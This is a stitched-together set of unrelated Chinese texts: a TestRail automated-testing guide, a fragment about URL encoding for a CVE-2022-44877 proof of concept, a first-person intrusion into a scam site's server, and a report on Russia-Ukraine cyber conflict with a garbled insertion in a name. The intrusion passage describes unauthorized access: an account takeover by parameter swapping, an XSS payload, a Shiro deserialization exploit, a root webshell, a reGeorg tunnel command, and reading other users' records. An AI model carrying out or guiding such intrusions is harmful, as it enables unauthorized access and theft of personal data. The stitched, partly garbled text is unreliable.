測試執行過程。在測試用例的執行過程中，自動測試管理工具提供了許多組合測試的選項：順序執行、優先級排序、並行執行等。根據測試項目的要求、資源和目標，您可以選擇最佳選項並將其集成到您的自動測試管理工具中。 測試執行結果。許多測試管理工具允許您在測試運行後生成報告。這些報告有很多可視化組件，包括執行結果、失敗的測試和失敗的原因，以及總執行時間。 測試執行歷史。您所有的測試運行結果都已存儲並可以隨時檢索。您還可以根據所選工具的功能使用不同參數生成所有執行的統計信息。 為了優化自動測試結果的監控和管理，Apriorit 團隊採用了一種綜合方法，結合了手動和自動測試活動。作為這種方法的一部分，我們： 確保負責手動和自動測試工作的QA 專家作為單個團隊的一部分不斷聯繫 使用單一工具管理手動測試和自動測試 有幾種流行的自動測試結果管理工具，包括TestRail、Zephyr、QMetry 和Testmo。根據我們的經驗，我們更喜歡使用TestRail，因為它具有以下優勢： TestRail的優勢 Jira 測試集成。我們使用Jira 作為我們的主要進度跟踪軟件，因此將TestRail 與Jira 一起用於測試自動化對我們團隊來說非常方便。 能夠管理手動和自動測試。這提高了我們QA 團隊的工作效率，使他們能夠及時響應失敗的測試。 測試用例統一。這使我們能夠以一種適合我們的單一格式使用測試用例，並以相同的格式自動從TestRail 導出測試用例。在我們導入現有的測試用例或創建新的測試用例後，TestRail 會將選定的模板應用於所有可用的測試用例。 用戶友好的用戶界面。 TestRail 不僅在視覺上很吸引人，而且使用起來也很直觀。 現在讓我們來看看我們在TestRail 中管理自動化測試結果的策略。 如何在TestRail中處理自動化測試結果我們基於左移方法開發了自己有效的QA 策略。 該策略的好處包括： 質量保證活動的時間和成本節省 更快的上市時間 改善用戶體驗 令人滿意的產品性能 作為我們有效的自動化策略的一部分，我們在策略實施之前的早期測試階段建立了自動測試覆蓋率。完成測試設計階段後，我們分析哪些設計的測試用例應該被自動測試覆蓋。所選測試在TestRail 中的類型字段中標記為自動。 指定測試用例類型可以讓我們在TestRail自動化測試時，所有的自動測試都有對應的測試用例。通過這種方法，運行自動測試和監控其結果的過程變得可控和透明。由於我們為每個自動測試都有一個相應的測試用例，並且我們知道如何在TestRail 中自動創建測試運行，因此我們可以按如下方式最終確定我們的自動測試結果管理策略： Apriorit 自動測試結果管理策略 首先，我們為每個構建運行自動測試作為CI/CD 管道的一部分。 成功構建後，我們將新的自動測試版本發送到單獨的測試台以運行自動測試。 每次運行時，我們都會在TestRail 中形成一個新的測試運行，添加所有自動化類型的測試。 形成一個新的試運行後，我們按照一個模板來命名，這樣我們就可以很方便的了解試運行的版本和時間。例如，我們使用以下模板：Acceptance_Automation_Run_ 完成自動測試後，每個測試的狀態都會在測試運行中自動輸入- 通過、失敗或未測試。 我們完成所有測試運行。之後，我們會收到一條通知，其中包含指向新測試運行的鏈接。 最後，我們審查通過測試的結果並分析狀態為“失敗”或“未測試”的測試。 在處理狀態為“失敗”或“未測試”的測試時，我們還使用定義的工作流程： 我們為回溯系統中所有失敗的測試創建錯誤票。我們的團隊總是重新檢查失敗的測試，並在錯誤報告中包含有關手動檢查結果的信息。 我們始終將修復錯誤或失敗的測試放在首位，即使它無法手動重現。我們這樣做是因為對我們來說，不正確的工作或失敗的測試與成品中的錯誤具有相同的優先級。 我們還為狀態為Untested 的測試創建錯誤票。一旦我們在測試運行中包含了自動類型的測試，它們就必須被覆蓋並且應該定期執行。如果有測試但我們團隊還沒有執行，這也是與產品bug同等優先級的問題。 因此，我們創建了一個透明的系統來監視和控制自動測試啟動的規律性和自動測試的結果。整個團隊，從AQA 和手動QA 專家一直到開發人員和管理人員，都可以收到有關測試啟動的通知並輕鬆查看測試運行的結果。 AQA 和手動QA 專家都可以查看測試結果和在失敗測試中註冊的錯誤。一切都是完全透明的，測試過程的所有參與者都可以訪問。現在我們已經解釋了我們在TestRail 中處理自動化測試結果的策略，是時候將TestRail 自動化集成到您的QA 流程中了。 如何將自動測試結果與TestRail 集成（實例）如果您想將自動測試結果與TestRail 集成，您可以使用與您在編寫自動測試時使用的技術相對應的現成插件。我們在下面的示例中展示的方法適用於Python 測試和Cypress 測試。 我們建議在每次運行自動測試時創建一個新的測試運行，因為它比運行單個測試更方便。這樣，您就不會丟失任何重要信息，例如測試執行日期和失敗測試統計信息。為了在每次運行自動測試時創建一個新的測試運行，我們在TestRailAPI 上實現了一個包裝器。 讓我們仔細看看每個使用的插件。 集成Python 測試您可以使用pytest-testrail插件將TestRail 和自動化測試集成到您的QA 流程中。 當您運行Python 自動測試時，您需要指定報告者和測試運行ID。 例如： python-mpytest--testrail--tr-run-id=111自動測試標記為@pytestrail.case(*testrail_case_id*)。執行測試後，相應的測試狀態將添加到測試運行中。 在測試運行執行期間，我們使用來自testrail.cfg 文件的數據，其中包含以下參數：URL、憑據、project_id、suite_id 等。 以下是Python 測試的配置文件的樣子： Python [API] url=https://yoururl.testrail.net/ email=user@email.com password= [TESTRUN] assignedto_id=1 project_id=2 suite_id=3 plan_id=4 description='Thisisanexampledescription' [TESTCASE] custom_comment='Thisisacustomcomment'現在讓我們看一下將Cypress 測試集成到TestRail 中。 您可以使用TestRail Reporter for Cypress將Cypress 測試集成到TestRail 中。 您需要在TestRail Cypress 測試中包含測試用例的ID。在執行Cypress 測試時，您可以自動從cypress.json 文件中獲取數據。此數據包括以下參數：reporter、testrail URL、credentials、project_id、suite_id、run_id 等。 例如： JavaScript . 'reporter':'cypress-testrail-milestone-reporter', 'reporterOptions':{ 'domain':'yourdomain.testrail.com', 'username':'username', 'password':'password', 'projectId':'projectIdNumber', 'milestoneId':'milestoneIdNumber', 'suiteId':'suiteIdNumber', 'createTestRun':'createTestRunFlag', 'runName':'testRunName', 'runId':'testRunIdNumber', }為方便起見，您可以在每次測試運行結束時自行生成包含關鍵指標的報告。接下來，我們關注這些指標及其含義。 如何理解TestRail 中的重要指標將TestRail 用於您的QA 流程，除了提供自動測試的透明度和可控性之外，還可以輕鬆收集重要指標並跟踪其動態。執行測試運行後，您可以隨時在TestRail 中查看有關測試的結果和重要信息。 我們建議在報告中關注兩個重要指標： 主要的TestRail 指標 1. 自動化覆蓋率是自動測試覆蓋的測試用例的百分比。當您使用TestRail 管理自動化測試用例時，它們都有一個單獨的類型。您可以輕鬆計算驗收測試覆蓋率百分比以及整體自動化覆蓋率。 要了解自動測試的數量和百分比，請轉到“報告”選項卡。選擇名稱並為您的報告添加描述。之後，選擇Report Options中的Grouping選項卡並按Type對測試用例進行分組。 截圖1. Property Distribution 報告 最好定期生成Property Distribution 報告以監控指標動態，這將使您的團隊能夠控制自動測試覆蓋範圍的增加或縮小。 2. 每個測試的成功率是特定測試的通過/失敗狀態的百分比。在TestRail 報告的幫助下，您可以跟踪特定測試失敗的次數，並關注最常失敗的測試。 要在TestRail 中分析失敗的測試，首先轉到Reports選項卡。輸入名稱並為您的報告添加描述。之後，在Report Options 中選擇Failed狀態。 屏幕截圖2. Status Tops 報告 完成這些操作後，您將看到最常失敗的測試。 在分析失敗的測試時，您可以將它們分為兩類： 片狀測試（不可靠、脆弱的測試）——不穩定且經常失敗的測試，沒有明顯原因給出誤報結果，而不是發現實際錯誤。我們將在下一節中詳細描述使用此類測試的策略。 不穩定的測試或用例——損壞或有問題的測試或用例。這些測試表明您的模塊中有脆弱的代碼，您的QA 團隊可能需要重構它。 您需要立即解決並嘗試修復任何無緣無故失敗的測試，以免它拖延開發過程並在未來佔用您的QA 專家的時間。讓我們仔細看看如何處理這些不穩定的測試。 如何管理不穩定的測試不穩定的測試需要QA 專家的特別關注，他們處理自動測試、分析每個測試運行的結果，並為每個失敗的測試發布錯誤報告。不穩定的測試可能需要QA 專家付出大量努力，包括每次測試運行所花費的時間和資源、失敗測試的手動分析以及修復測試所花費的時間。 為了減少花在不可靠測試上的時間，您需要在自動測試管理策略中明確描述使用此類測試的策略。在Apriorit，我們有一個處理不穩定測試的清晰策略： 如何管理片狀測試 步驟1.首先，我們在這種特殊情況下定義了一個不穩定的測試。在我們的實踐中，如果某項測試連續三次出現誤報，我們就會認為該測試不穩定或不可靠。 第2 步。我們嘗試通過修復它來穩定flaky 測試。 第3 步。如果在嘗試修復它後，測試仍然失敗並給出誤報結果，我們可能需要刪除自動測試並更改TestRail 中的測試用例類型。 如果測試不可靠並且您無法穩定它，它就會成為您的QA 團隊的負擔。當測試不可靠並且您不能相信其結果時，最好盡快修復它或將其刪除。這樣，您就不必花時間支持和監控易碎測試的結果並手動檢查它們。 現在您有了處理不可靠測試的明確計劃。因此，您可以確信您的QA 團隊不會在此類測試上浪費太多時間和精力。 結論您可以將我們的示例作為QA 流程的基礎，並根據您的需要進行調整。使用TestRail 進行自動化測試結果管理可讓您顯著改善質量保證工作。在TestRail 的幫助下，您的QA 團隊可以減少在測試運行上花費的時間和資源。您還可以在TestRail 中跟踪您的結果，從而更有效地管理您的測試運行並處理失敗的測試和錯誤。

0x00 前言我在使用Python Requests庫發送HTTP數據包時，發現Requests庫默認會對url進行編碼。而在測試某些漏洞時，觸發漏洞需要url的原始數據，禁用編碼url的功能。本文將要介紹我的解決方法，記錄研究細節。 0x01 簡介本文將要介紹以下內容： 測試環境 解決方法 0x02 測試環境我在研究CVE-2022-44877時遇到以下情況： 實現寫文件的POC如下： 根據POC我們可以寫出對應的Python測試代碼： 為了便於測試，Python測試代碼在發送POST數據時添加了代理，我們可以藉助BurpSuite觀察實際發送的內容，如下圖 0x03 解決方法 url未做編碼，問題解決 0x04 解決方法2這裡還可以使用C Sharp實現發送POST數據，避免url編碼，實現代碼如下： 0x05 小結本文介紹了通過修改Python Requests庫禁用編碼url的方法，也給出了C Sharp禁用編碼url的實現代碼，記錄研究細節。

0X00 事情起因 大街上偶遇预存话费3999送平板被套路，支付宝被一顿操作又套现又转账的把我花呗都套走了。 回到家越发越觉得不对劲，越发越后悔，网上一搜关于这类的活动一抓一大把而且一模一样越看是越生气啊。 最主要的呢，送的平板也是八百多的根本不值预存话费的这个价，且居然有卡死的现象，于是乎我决定深挖瞧瞧。 0X01 信息收集 通过验证短信发过来的短域名链接复制到浏览器解析得到网址xx.xxxx.xx好家伙这网址一看就不是移动官方旗下的,在通过站长工具查询该网址解析到阿里云且未启用cdn，该域名持有者系广东一家某科技公司，域名到今年11月份就到期了，在通过搜索该企业发现经营异常这四个大字，我这好几千的话费肯定是凉透了。 通过对得到的域名用nmap -p 1-65355 xx.xxxx.xx进行全端口扫描瞧瞧都开放了哪些服务，再从其服务进行入手，可以看到也就只有80跟22端口，唯一有用的信息就是22端口知道对方是Linux服务器的。 在通过对80端口访问web服务得到以下信息，这界面也是短信内容里短域名所跳转过来的界面。 它的URL形式是/admin/user/login明显的用户登陆界面，众所周知admin是管理的意思，直觉让我逐层递减目录访问，果不其然跳转到了admin/login的商家管理界面。 0X02 漏洞挖掘目前初步找出两个登陆界面，后台登陆是没有验证码的可进行爆破操作，但前提条件是知道商家的手机号，这里就先正常登陆我自己的用户瞧瞧里面有无可利用的地方，功能很简单并无可利用的地方头像处也无法进行编辑上传等操作该界面也只是提供显示话费的总额，我猜他们搭这样一个平台也只是显示个数字前几个月唬住消费者。 决定退出用户用burp抓个包分析分析传输的数据，输入正确的手机号验证码以及短信验证码开启抓包，可看到参数都是以明文传输的，验证码这些均与正确那我如果替换成别的用户是不是可以达到一个水平越权漏洞了呢，mobile处替换号码成功登陆别的用户斩获水平越权漏洞一枚。 一样的个人中心一样的无任何利用的地方，转战后台登陆框框，像这类的后台二话不说直接使用burp抓个登陆的POST包在保存到本地txt文件使用sqlmap跑一跑说不定有意外的收获，因为是阿里云的服务器本地跑百分百的被拦截，所以我选择用与它相同的阿里云服务器去跑，username，password，remenbaer这三个均不存在注入。 没事，抓个包发个包看看响应回来的数据，可以看到账号的内容直接输出在了value的标签上。 构造xss payload闭合插它！！”><script>alert(/xss/)</script>然后在重新发包斩获反射性xss一枚。 0X03 Getshell挖到的那个两个漏洞太鸡肋了，思路也暂时断了回过头再分析分析抓到的数据包，一直没太注意响应包仔细一看发现rememberMe=deleteMe字样，shiro反序列化漏洞呀。 直接怼上exp，这里直接查看源代码取网站内的静态文件填入做检测。 可看到命令执行框内是可输入的证明存在该漏洞相反不存在则不可输入，且在/css的同级目录下生成了5663.js的验证文件，访问测试是否成功写入文件。 成功写入文件，接下来写入shell冰蝎连接执行whoami查看当前权限，Linux的环境直接root最高权限省去了需要提权的麻烦。 权限有了，并且服务器对外开放22端口可以直接写入公钥免密登陆，但考虑对方是阿里云的服务器异地登陆的话会有短信提醒动静太大所以没执行该方案，继续挖掘有用的信息，翻了半天翻到了个数据库的配置文件，数据库连接的地址是172.xx.xx.xx（各位师傅技艺高超内网地址也给码上防止爆菊）一看就知道是内网的ip站库分离啊，想办法代理转发出来连接瞧瞧。 冰蝎上有个Socks代理配合Proxifier在加上Navicat Premium数据程序管理进行隧道代理打入其内网数据库，常规的配置好Proxifier后添加程序进行连接，可问题来了反反复复试了好几次一点连接就直接数据异常，十有八九的被拦截了。 在内网代理这块踩了不少的坑总而言之还是自己经验不足，也有各位师傅指点使用adminer.php(这里手动@Uncia大佬)，adminer确实不错很轻量便捷只需上传web目录即可但奈何使处的环境是Java环境只支持jsp脚本adminer也只有php的脚本。 0X04 内网代理既然adminer不支持冰蝎也代理不出，那咱们就自己搭一条代理的隧道出来，在这里踩了不少的坑尝试利用reDuh和Tunna要么就是没流量要么就是连上一下子就断开，不知道是不是我的姿势不对还是受当前环境的限制，最终在GitHub上找到reGeorg神器。 reGeorg 可以说是 reDuh 的升级版，主要是把内网服务器的端口通过 http/https 隧道转发到本机，形成一个回路，用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口，它利用 webshell 建立一个 socks 代理进行内网穿透，因为当前环境是java所以我们上传.jsp的转发文件到网站目录下。 上传脚本后访问其脚本，显示Georg says, 'All seems fine',代理成功。 后在本地执行python2 reGeorgSocksProxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jsp在命令行界面同样显示Georg says, 'All seems fine'即可。 打开Proxifier基本配置好监听本地127.0.0.1的9999端口，然后设置代理规则添加Navicat程序，其他动作选择Direct关闭状态唯独只允许Navicat流量通过。 配置完后，右键Navicat以Proxifier本地代理模式打开。 可以看到已稳定链接且Python窗口有流量传输（切记代理过程中请勿关闭窗口）。 0X05 实锤骗局 数据库咱也连上了，看看会员表里的账号，通过筛选member会员表里的name字段查找自己的名字，果不其然自己就躺在那里数据的时间跟被套路的时间相吻合。 如何实锤？很简单库里的第一批用户是2019年5月份的，到现在也相差一年了，这是不是骗局登录19年的账号看看返现记录就一幕了然，就随机抽取一位幸运玩家结合前面的水平越权漏洞登录其账号。 这都过去一年时间了果然也就只首次返现一次，前几个月唬住消费者过后又以各种理由的欺骗你，总之永远吃亏的还是消费者。 0X06 写到最后至于为何写这篇文章，因为我也是受害者我想通过这样的方式去剖析它让大家更直观的了解这个局以免更多的人被套路，你去办理的时候他们会跟你说这是移动授权下来的活动（之前也是这么跟我说的），但这一路下来可以看出跟移动半毛钱关系没有，只不过是他们自主搭建的一个平台，里边的余额也只是唬住你，有这么一个平台一个数字显示出来让你放心而已，至于首月到账的那几百块也只是从你那套的好几千手动给你充值给几百而已。 不说了，接下来的一年里我要吃土还花呗了嘤嘤嘤，商家登录系统那我估计还会有更多的猫腻，但渗透测试点到为止，我的目的就是证明这是不是一个骗局既然实锤了咱们也没必要在深入了。 我们所做的安全对抗，正如同没有硝烟的战争，战争的结果除了输赢之分，还有正义与非正义之别，唯一的区别就是我们要时刻站在正义的视角，探索了其漏洞原理，却不因此对其造成损害 转载于原文链接地址： https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486245&idx=1&sn=ebfcf540266643c0d618e5cd47396474&chksm=ce67a1bcf91028aa09435781e951926067dcf41532dacf9f6d3b522ca2df1be8a3c8551c1672&scene=21#wechat_redirect

俄烏衝突是一場新型的混合戰爭。在俄烏物理空間戰場之外，網絡戰、輿論認知戰膠著在一起，多方勢力進行激烈的較量。自2022年俄烏衝突引發全球高度關注至今，俄烏衝突已持續了400多天，局勢持續發酵。據2023年4月9日《纽约时报》 報導，多家社交媒體近來披露了一批疑似美軍秘密文件中，包含韓國政府高層討論是否向烏克蘭提供武器等內容，而這些信息來自美國情報部門對韓方的監聽。這一信息一經發布，再次引發對俄烏衝突話題的關注。 以美國為首的西方國家，雖然表面上未直接參與軍事衝突，卻利用其先進的網絡信息技術和主流媒體平台極力壓制俄羅斯，並引導全球黑客加入網絡戰，起到了推波助瀾的作用。 2022年6月，微軟公司發布的《保卫乌克兰：网络战争的初始教训》 報告指出，在俄烏戰爭爆發前的一周內烏克蘭政府的數據就被悄悄的“運出”了烏克蘭，上傳到美國的雲上進行數據儲存和處理，美國甚至為此還修訂了法律。俄烏衝突爆發後，美國前國務卿希拉里马云惹不起马云克林頓在接受美國微軟全國廣播公司（MSNBC）的採訪時呼籲美國黑客對俄羅斯發動網絡攻擊。美國還在利用跨國信息科技公司在互聯網世界的資源主導權，不斷對俄羅斯的輿論發聲渠道圍追堵截。蘋果公司刪除了俄羅斯以外國家和地區App Store中俄羅斯的新聞應用程序；谷歌公司封鎖了俄羅斯官方媒體的YouTube頻道。美國在俄烏衝突背後的頻頻動作，暴露出美國所宣揚的所謂“清潔網絡”和“符合民主價值觀和利益的技術”，不過是可以讓美國肆意竊密、隨意攻擊他國、確保美國“唯我獨尊”的網絡和技術優勢。最近美國五角大樓洩露的情報等一系列事實證明，美國是網絡戰的始作俑者、先進網絡武器的最大擴散方、全球最大的網絡竊密者。 本報告基於網絡空間搜索引擎鍾馗之眼（ZoomEye）的網絡空間測繪數據、創宇安全智腦、關基目標庫、高級持續性威脅（APT）流量監測系統、雲蜜罐平台的攻擊日誌數據，通過對俄烏衝突爆發前、衝突爆發初期、衝突相持階段的相關數據進行趨勢分析，描繪俄烏衝突網絡空間對抗的演進過程，總結俄烏衝突網絡空間對抗呈現的主要特徵，並總結經驗、提出建議。 一、俄烏衝突網絡空間對抗情況概覽根據ZoomEye的數據，可以將俄烏衝突劃分為三個階段，即衝突爆發前（2021年12月1日至2022年2月24日）、衝突爆發初期（2022年2月24日至2022年3月7日）和衝突相持階段（2022年3月7日至今）（見圖1）。 圖1 烏克蘭的IP存活趨勢圖 通過網絡空間動態測繪、APT組織行為測繪、攻擊者大數據監測、暗網流量監測、輿情信息監測等多個維度，分析俄烏衝突以來網絡空間資產變化趨勢和網絡空間對抗態勢，可以發現和全面“感知”網絡戰這個新型戰場與物理空間戰場發展態勢之間的關聯映射。 一是“感知”了雙方的網絡空間戰法戰略。推測雙方通過衝突爆發前的長期APT攻擊獲取了精準的高價值情報，在軍事衝突爆發之前“網絡戰先行”，通過分佈式拒絕服務（DDoS）攻擊重點打擊對方的軍事、能源、金融等關鍵基礎設施，並在軍事衝突爆發後通過網絡戰持續消耗對方，同時，將輿論認知戰貫穿始終，以便達到鼓舞己方士氣、削弱敵方信心的目的。 二是“感知”了俄烏衝突爆發前的作戰準備。通過對APT組織的長期情報跟踪以及對全球黑客組織所使用的網絡資產、殭屍主機進行測繪，可以發現，在衝突爆發前有大量用於攻擊的命令與控制（C2）服務器資源上線部署，為衝突爆發前進行大規模DDoS攻擊提供支撐。 三是“感知”了DDoS攻擊先行成為衝突背後壓制對方的重要手段。通過“肉雞”數量的變化趨勢以及俄烏雙方關鍵信息系統的存活的變化趨勢，可以發現，軍事行動之前往往伴隨大規模DDoS攻擊，成為先行壓制的重要手段。 四是“感知”了在衝突初期特別軍事行動演進路線以及在相持階段雙方多次大規模空襲的區域分佈。通過對沖突爆發區域的網絡空間IP掉線率數據變化及分佈情況，可以發現，區域分佈與特別軍事行動演進路線及進度高度吻合。 五是“感知”了雙方應對網絡攻擊的防禦能力和應急響應能力。通過對黑客使用的跳板抽樣數據、暗網出口流量的變化趨勢分析，可以發現，國際黑客組織在俄烏衝突中產生了巨大影響。國際黑客組織對俄烏雙方發動攻擊的趨勢和烈度，與俄烏雙方關鍵資產的掉線率相印證，可以從側面反映出俄烏雙方的網絡防護能力和應急響應能力。 六是“感知”了雙方在網絡空間對抗的激烈程度。通過對APT組織域名資產的變化趨勢分析、對烏克蘭戰場智能指揮系統Delta入侵事件還原，以及對烏克蘭IT軍隊在社交平台公佈的信息分析，可以看出，俄烏雙方在網絡空間的持續對抗情況，與長期的測繪數據情況相匹配。 七是“感知”了搶奪認知域作戰主動權就是搶占國際輿論主導。俄烏雙方都以“第一視角”的方式向全球直播衝突對抗實況，都在網絡媒體和社交平台發聲，爭奪國際傳播認知敘事主導權。以美國為首的西方國家利用在互聯網世界的資源主導權，不斷對俄羅斯的輿論發聲渠道進行圍追堵截，致使全球黑客站隊情況呈現一邊倒的局勢，也使網絡戰的邊界更加模糊，大大影響了網絡戰資源的傾斜。 二、俄烏衝突爆發前期網絡空間對抗綜合各方觀點，可以推測，在俄烏衝突爆發前，雙方主要通過連續多年的APT攻擊獲取情報，為日後發起軍事衝突打下基礎。上述情況也可以從知道創宇的APT組織行為測繪以及輿論信息數據得到驗證和顯示。 1　衝突爆發前APT組織行為的測繪數據知道創宇404高級威脅情報團隊連續多年跟踪某個國外APT組織行為發現，國外安全機構報導稱該組織從2013年開始針對烏克蘭開展APT攻擊活動。通過對該APT組織使用的C2網絡資產進行持續測繪（見圖2），可以明顯看到，從2021年5月開始，該組織的C2網絡資產數量相較之前激增近3倍，並在2022年1月達到最高峰。由此推測，俄烏衝突爆發前，該APT組織即開始大量部署網絡基礎設施，並對烏克蘭持續性實施大規模的網絡攻擊。 圖2 衝突爆發前某國外APT組織使用的IP資產情況 從該APT組織使用域名的維度看（見圖3），在2020年12月至2021年5月期間，該組織表現異常活躍，使用的域名到2021年5月達到創紀錄的8454個，隨後迅速回落到1000個左右。該組織使用的域名在2022年2月達到峰值的7292個。這意味著在俄烏衝突爆發前，該APT組織已做好了網絡空間對抗的相關準備。 圖3　衝突爆發前某APT組織使用的域名資產情況 2　衝突爆發前網絡空間資產的動態測繪數據分析ZoomEye的測繪數據（見圖4），可以發現，從衝突爆發前的2022年2月15日開始，烏克蘭的IP資產數量明顯下降。據媒體當天的報導，烏克蘭政府機構等關鍵部門遭到大規模DDoS攻擊。由此可以推測，是DDoS攻擊致癱了烏克蘭的大量網站等在線系統，主要表現為網絡空間資產的劇烈震盪。 圖4　烏克蘭全境IP存活狀態趨勢測繪 3　衝突爆發前的輿論信息數據在衝突爆發前，美國曾派白宮最高級別網絡安全官員訪問北約，協調盟友共同幫助烏克蘭應對網絡戰。美國網絡司令部還增加了前往東歐的“前出狩獵”小組的數量，任務是加強烏克蘭的網絡防禦能力。美國還通過網絡平台散佈俄羅斯在不久後進攻烏克蘭的輿論，並多次在網上公佈俄軍在俄烏邊境調動和部署情況，揭開了俄烏衝突輿論信息戰的序幕。 三、俄烏衝突爆發初期網絡空間對抗在俄烏衝突初期，多家媒體報導，俄羅斯主要通過大規模DDoS攻擊、數據擦除惡意軟件攻擊等方式，使烏克蘭大量互聯網、通信、交通、能源、金融等關鍵信息基礎設施陷入癱瘓，有效打擊了烏方軍事指揮控制能力，為特別軍事行動發動“閃電戰”製造戰機。同時，烏克蘭在Telegram上持續發布任務，組織國際黑客向俄羅斯發起網絡攻擊。國際黑客組織“匿名者”（Anonymous）宣布對俄發動“網絡戰爭”，聲稱攻擊了俄羅斯電視台。克里姆林宮、國家杜馬和國防部的網站因DDoS攻擊而離線。這些情況可以從ZoomEye網絡空間動態測繪、攻擊者大數據監測、暗網流量監測的數據得到驗證和顯示。 1　ZoomEye網絡空間動態測繪數據俄烏衝突的爆發區域主要在烏克蘭境內，據ZoomEye對烏克蘭全境IP地址的在線存活狀態數據，可以看出，網絡戰場的網絡資產實際變化與特別軍事行動的時間點相吻合，也印證了實體戰場和網絡空間態勢之間有確切的時間對應關係。 2月23日至24日，烏方開始通過自主防衛手段主動斷網，保護關鍵信息基礎設施。從圖5可看出，2月24日16點51分，存活IP數量急劇下降至86%；2月24日20點37分，前期主動斷網系統重新上線，存活IP 數量反彈回升至94%。但是，在隨後一段時期（2月25日至3月7日），存活IP數量整體保持下降趨勢，網絡資產持續掉線。截至3月7日，存活IP數量已經降至78%。 圖5　烏克蘭全境IP在線存活變化趨勢 從烏克蘭各州IP存活數量變化趨勢數據（見圖6）可以看出，多數直轄市和州的存活IP數在2月24日均有急劇下降，與烏克蘭全境IP地址在線存活數量的變化趨勢相吻合。 圖6　烏克蘭各州IP存活數量變化趨勢 對烏克蘭首都和州2月24日IP存活比例和3月7日IP存活比例進行統計，統計結果如表1所示（該表格以基輔和各州2月23日IP存活數量進行降序排列）。 表1　烏克蘭各州IP存活率 對烏克蘭首都和州網絡資產掉線狀況進行統計，可以繪製成熱力圖（見圖7）。該圖反映的狀況映射出俄烏特別軍事行動的演進進程，即俄羅斯是從北（基輔州）、東（哈爾科夫州、頓涅茨克州）、南（扎波羅熱州）三個方向對烏克蘭發動突襲，與實際情況高度吻合（見圖8）。 圖7　烏克蘭各州網絡空間IP存活率熱力圖 圖8　俄烏特別軍事行動進程圖 通過ZoomEye對烏克蘭的網絡空間持續測繪，對烏克蘭的軍事及軍事相關的基礎設施存活變化進行觀察及統計分析（見圖9），可以發現，在衝突初期階段有一個急劇下降的趨勢，這個說明基礎設施成為衝突的核心重點攻擊目標，這也表明俄羅斯在衝突前就已經掌握了烏克蘭相關的關鍵基礎設施的分佈等數據，很可能在本次武裝衝突之前就展開對應的信息收集工作，由此說明在現代武裝衝突中國家的基礎設施安全至關重要，並且說明相比現實空間的實體戰，網絡戰早已經先行。 圖9　烏克蘭關鍵信息基礎設施在線存活變化趨勢 2022年2月24日的16點51分，烏克蘭的關基設施在數小時內掉線比例達到57.81%，遠遠高於非關基設施的掉線比例7.52%。 2022年3月7日，烏克蘭的關基設施掉線比例為66.00%，仍然遠高於非關基設施的掉線比例16.07%（見表2）。 表2　烏克蘭網絡資產變化情況 表2顯示，2月24日非關基設施的資產掉線比例是7.52%，3月7日非關基設施的資產掉線比例是16.07%，非關基設施的掉線比例有明顯的增加，說明戰爭對烏克蘭的民眾生活及社會局勢帶來了越來越多的不穩定性。這段時間的媒體報導顯示，大量的烏克蘭人民選擇離開烏克蘭。 從烏克蘭掉線的關基設施所屬行業分佈（見圖10）可以看出，掉線的關基設施數量最多的3個行業是金融、政府和能源。這與媒體報導俄羅斯針對烏克蘭的政府和銀行網站開展大量DDoS網絡攻擊的情況相呼應。 圖10 烏克蘭掉線關基設施行業分佈 據俄羅斯衛星通訊社2月27日消息，國際黑客組織“匿名者”（Anonymous）宣布對俄發動“網絡戰爭”，聲稱對今日俄羅斯電視台（RT）遭受的一次網絡攻擊負責，並“黑掉”了車臣政府網站，也攻擊了不少俄羅斯的攝像頭。同日，美國前國務卿希拉里马云惹不起马云克林頓呼籲美國黑客對俄羅斯發動網絡攻擊。另據Cyberscoop網站消息，俄羅斯政府3月2日公佈的一份清單顯示，有17500多個IP地址和174個互聯網域名參與了針對俄境內目標的持續DDoS攻擊，克里姆林宮、國家杜馬和國防部的網站因DDoS攻擊而離線。 依據對俄羅斯軍事、工業、能源、金融、交通等關基網絡空間資產的測繪數據（見圖11），其中包括對俄的近3000個關基單位，超過11萬網絡IP的存活、類型、所有者、漏洞、GPS位置、業務類型的測繪數據，可以發現，在黑客攻擊及輿論攻勢下，俄羅斯網絡空間資產和關鍵基礎設施情況基本保持穩定。這也說明俄羅斯具有較強的網絡防禦能力。 圖11　俄羅斯關鍵信息基礎設施在線存活變化趨勢 烏克蘭也作出了相應的反擊。烏克蘭總統澤連斯基、烏克蘭國家安全局等在呼籲國際黑客加入IT 軍團，從2022年2月26日起，在Telegram上持續發布任務（見表3），組織國際黑客向俄羅斯發起網絡攻擊，攻擊目標覆蓋俄羅斯的銀行、日報媒體、科技公司等網站（見表4）。 2月27日，烏克蘭在網絡上招募的一支由安全研究人員和黑客組成的志願“IT軍隊”，對包括政府機構、關鍵基礎設施和銀行在內的31個俄羅斯實體目標進行網絡攻擊。 表3　烏克蘭IT軍隊在Telegram上發布的部分任務 表4　烏克蘭IT軍隊發布的部分攻擊目標 2　 對攻擊者的大數據分析自2022年1月起，發生了多起針對烏克蘭重要網站的DDoS攻擊事件。依據創宇安全智腦監和雲蜜罐平台捕獲的攻擊日誌數據，攻擊者通過“肉雞”發起了大規模的DDoS攻擊，並伴隨烏克蘭局勢的變化2月13日之後加大了攻擊強度，在2月24日達到頂峰（見圖12）。 圖12　攻擊者利用“肉雞”對烏克蘭攻擊趨勢 依據2022年2月20日至2月27日烏克蘭“肉雞”攻擊變化趨勢數據，可以得出以下結論：一是烏克蘭“肉雞”數量從2022年2月20日起呈明顯的上升趨勢，到2月24日到達頂峰。據推測，這是攻擊者通過“肉雞”發起了大規模的DDoS攻擊的高峰期，時間點與普京宣布發起特別軍事行動的時間點相吻合。二是烏克蘭“肉雞”數量在2月24日明顯下降，與前述提到的烏克蘭全境IP地址在線存活數量在2月24日急劇下降的走勢及時間點吻合，兩個數據之間可互相印證。據推測，海量“肉雞”在發動攻擊後被快速主動銷毀。 3月1日，伊賽特公司（ESET）安全團隊披露了針對烏克蘭政府組織的第三種數據擦除惡意軟件IsaacWiper。這種新型數據擦除惡意軟件不帶有用於代碼驗證的數字簽名，與HermeticWiper沒有代碼相似性且複雜度較低，並自2月24日起不斷採用各種技術手段實施攻擊，烏克蘭數百台關鍵計算機被檢測到數據擦除惡意軟件，涉及烏克蘭的金融和政府承包商，導致相關組織的系統設備數據遭到惡意刪除。 依據創宇安全智腦長期對全球黑客使用的300萬跳板IP的跟踪數據，可以對黑客進行畫像，標記其ID、手段、戰法、動機、作戰規律。依據2月20日到3月27日近1萬個黑客使用的跳板抽樣數據（見圖13），在俄烏衝突爆發前幾天，這些跳板被大量用於攻擊俄羅斯，攻擊量比平常增加了30倍。 圖13　